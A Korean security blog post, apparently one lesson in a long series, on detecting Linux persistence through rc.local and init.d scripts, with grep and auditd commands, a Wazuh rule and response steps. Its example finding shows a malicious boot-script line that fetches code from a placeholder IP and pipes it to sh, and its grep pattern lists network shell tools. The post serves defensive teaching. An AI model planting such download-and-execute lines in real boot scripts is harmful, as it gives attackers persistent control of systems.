273. 프로세스·지속성 — init·rc 스크립트 지속성 탐지

changseop lee·7일 전

시스템 보안 · 취약점

목록 보기
271/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 23/50편 (전체 273/450)
학습 단계: 지속성(persistence) 메커니즘
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

systemd 이전의 init·rc 스크립트는 여전히 호환 계층으로 동작하며 지속성에 악용됩니다. /etc/rc.local·/etc/init.d·rc.d는 부팅 시 실행되며, systemd 감시만 하면 놓치기 쉽습니다.

init·rc 스크립트 지속성
 /etc/rc.local          부팅 마지막 실행(호환 계층)
 /etc/init.d/*          SysV init 스크립트
 /etc/rc*.d/            런레벨 링크
 /etc/rc.d/rc.local     (RHEL 계열)

공격: rc.local 등에 악성 명령 추가 → 부팅 시 실행
특징: systemd만 보면 놓치는 전통적 경로

많은 시스템이 systemd-rc-local-generator로 rc.local을 여전히 실행합니다. 전통적 경로도 반드시 감시해야 지속성을 놓치지 않습니다.

2. 왜 중요한가

  • init·rc 스크립트는 호환 계층으로 여전히 부팅 시 실행되어 지속성에 악용됩니다.
  • systemd 유닛만 감시하면 전통적 경로(rc.local·init.d)를 놓칩니다.
  • rc.local은 부팅 마지막에 실행되어 악성 명령 추가가 흔한 지속성입니다.

3. 핵심 명령어 / 설정

init·rc 위치실행 시점위험
/etc/rc.local부팅 마지막높음
/etc/init.d/*SysV init중간
/etc/rc*.d/런레벨중간
/etc/rc.d/rc.localRHEL 부팅높음
정상 rc 설정정상정상

4. 실습 (실습 예시)

# init·rc 스크립트 지속성 탐지 (분석 방법)
# rc·init 스크립트 변경 이벤트(watch)
sudo ausearch -k persist -i --start recent 2>/dev/null | grep -E 'rc\.local|init\.d|rc\.d' | tail
# rc 스크립트 의심 내용
sudo grep -rE 'curl|wget|nc |/tmp/|/dev/shm/|base64|bash -i' /etc/rc.local /etc/rc.d/rc.local /etc/init.d/ 2>/dev/null

5. 정상 상태

$ (rc 스크립트 변경) (없음)
$ (의심 내용) (없음 또는 정상 부팅 설정만)

init·rc 스크립트에 변경 이벤트가 없고, 네트워크·비표준 경로 등 의심 내용이 없는 상태가 정상입니다.

6. 이상 상태

$ (rc 스크립트 변경)
04:13 auid=root /etc/rc.local
$ (의심 내용)
/etc/rc.local: /tmp/.x &
/etc/init.d/x: curl http://192.0.2.88/p|sh
  • rc.local에 /tmp/.x 추가 → 부팅 시 비표준 경로 실행
  • init.d에 악성 스크립트 → 부팅 시 다운로드+실행
  • rc·init 스크립트의 비표준 경로·네트워크 → 지속성 → 정탐

7. 로그 분석 (분석 방법)

init·rc 지속성 분석입니다(가상의 예시).

[등록] /etc/rc.local: /tmp/.x & (watch/FIM)
   ↓
[부팅] systemd-rc-local-generator → rc.local 실행
   ↓
[실행] /tmp/.x (부팅 시 비표준 경로 실행)
   ↓
[지속] 재부팅마다 실행 (전통적 경로)
 → systemd만 보면 놓침, rc.local도 감시 필요
요소해석
rc.local 변경전통적 지속성
/tmp 명령비표준 실행
부팅 트리거재부팅 복구
systemd 사각놓치기 쉬움

전통적 경로(rc.local·init.d)를 systemd와 함께 감시해야 지속성을 놓치지 않습니다.

8. SOC 관제 포인트

  • init·rc 스크립트(rc.local·init.d)는 호환 계층으로 여전히 부팅 시 실행되어 지속성에 악용됩니다.
  • systemd만 감시하면 전통적 경로를 놓치므로 함께 감시해야 합니다.
  • rc 스크립트의 비표준 경로·네트워크 추가를 탐지합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,persistence,">
  <rule id="105220" level="12">
    <if_sid>105060</if_sid>
    <field name="audit.file" type="pcre2">/etc/rc\.local|/etc/init\.d/|/etc/rc\.d/|/etc/rc[0-9]\.d/</field>
    <description>init·rc 스크립트 지속성 변경(부팅 실행)</description>
    <mitre><id>T1037</id><id>T1547</id></mitre>
  </rule>
</group>

rc 스크립트 내용(비표준 경로·네트워크)은 FIM으로 탐지합니다. 전통적 경로를 감시 대상에 반드시 포함합니다.

10. 대응 방법

  1. 초기 확인 — 변경된 rc·init 스크립트·내용·주체를 확인합니다.
  2. 범위 확인 — 비표준 경로·네트워크·부팅 실행 추가를 확인합니다.
  3. 증거 확보 — rc·init 변경 이벤트·내용·부팅 실행 로그를 보존합니다.
  4. 차단/조치 — init·rc 지속성 정탐이면 악성 라인 제거·원복·부팅 점검을 진행합니다.
  5. 재발 방지 — 전통적 init·rc 경로를 systemd와 함께 감시 운영합니다.

11. 핵심 정리

init·rc 위치실행 시점
/etc/rc.local부팅 마지막
/etc/init.dSysV init
/etc/rc*.d런레벨
rc.d/rc.localRHEL 부팅
면접 포인트"rc.local·init.d는 전통적 부팅 지속성 — systemd만 보면 놓침"

12. 다음 편 예고

다음 편 274. 프로세스·지속성 — LD_PRELOAD·동적 라이브러리 지속성 탐지 에서는 LD_PRELOAD·동적 라이브러리 지속성을 다루는 LD_PRELOAD·동적 라이브러리 지속성 탐지를 다룹니다.


이전 편: 272. 프로세스·지속성 — systemd 사용자 서비스·autostart 지속성 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글